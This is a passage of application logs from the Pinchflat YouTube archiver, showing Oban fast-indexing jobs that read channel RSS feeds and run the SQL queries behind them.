"GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:21:34.548 [debug] QUERY OK source="media_items" db=0.3ms idle=178.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:21:34.552 [debug] QUERY OK source="media_items" db=3.0ms idle=178.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:21:34.553 [debug] QUERY OK source="tasks" db=0.0ms idle=181.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [762, 3, ~U[2026-07-24 19:21:34Z], ~U[2026-07-24 19:21:34Z]] 19:21:34.553 [info] {"args":{"id":3},"id":759,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":182934,"event":"job:stop","queue_time":590299,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:34.553 [debug] QUERY OK source="tasks" db=0.3ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:57.532 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.908 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:27.533 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:57.534 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.909 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:27.535 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:57.536 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.910 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:27.537 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:57.538 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.911 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:27.539 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:57.540 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.912 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:27.541 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:57.542 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.913 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:27.543 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:57.544 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.914 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:27.545 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:57.546 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.915 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:27.547 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:57.548 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.915 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:27.549 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:57.550 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.917 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:10.967 [info] {"args":{"id":2},"id":760,"meta":{},"system_time":1784921470967278056,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:10.967 [debug] QUERY OK source="sources" db=0.0ms idle=1598.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:31:10.967 [debug] QUERY OK source="tasks" db=0.1ms idle=1007.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:10.967 [debug] QUERY OK source="settings" db=0.0ms idle=598.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:10.967 [debug] QUERY OK source="sources" db=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:31:10.967 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:31:10.968 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:10.968 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:31:11.262 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:31:11.263 [debug] QUERY OK source="media_items" db=0.1ms idle=295.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:31:11.263 [debug] QUERY OK source="media_items" db=0.2ms idle=295.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:31:11.264 [debug] QUERY OK source="tasks" db=0.0ms idle=296.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [763, 2, ~U[2026-07-24 19:31:11Z], ~U[2026-07-24 19:31:11Z]] 19:31:11.264 [info] {"args":{"id":2},"id":760,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":297189,"event":"job:stop","queue_time":895206,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:11.265 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:19.977 [info] {"args":{"id":1},"id":761,"meta":{},"system_time":1784921479977048212,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:19.977 [debug] QUERY OK source="tasks" db=0.2ms idle=1608.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:19.977 [debug] QUERY OK source="sources" db=0.2ms idle=1608.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:31:19.977 [debug] QUERY OK source="sources" db=0.0ms idle=1008.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:31:19.977 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:19.977 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:31:19.978 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:19.978 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:31:20.170 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:31:20.171 [debug] QUERY OK source="media_items" db=0.3ms idle=193.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:31:20.173 [debug] QUERY OK source="media_items" db=2.2ms idle=193.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:31:20.174 [debug] QUERY OK source="tasks" db=0.0ms idle=196.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [764, 1, ~U[2026-07-24 19:31:20Z], ~U[2026-07-24 19:31:20Z]] 19:31:20.174 [info] {"args":{"id":1},"id":761,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":197484,"event":"job:stop","queue_time":425066,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:20.175 [debug] QUERY OK source="tasks" db=0.3ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:27.551 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:34.995 [info] {"args":{"id":3},"id":762,"meta":{},"system_time":1784921494995203000,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:31:34.995 [debug] QUERY OK source="sources" db=0.1ms idle=1626.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:31:34.995 [debug] QUERY OK source="tasks" db=0.2ms idle=1626.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:31:34.995 [debug] QUERY OK source="settings" db=0.1ms idle=1009.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:34.995 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:31:34.995 [debug] QUERY OK source="sources" db=0.0ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:31:34.995 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:34.995 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:31:35.240 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:31:35.240 [debug] QUERY OK source="media_items" db=0.2ms idle=245.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", 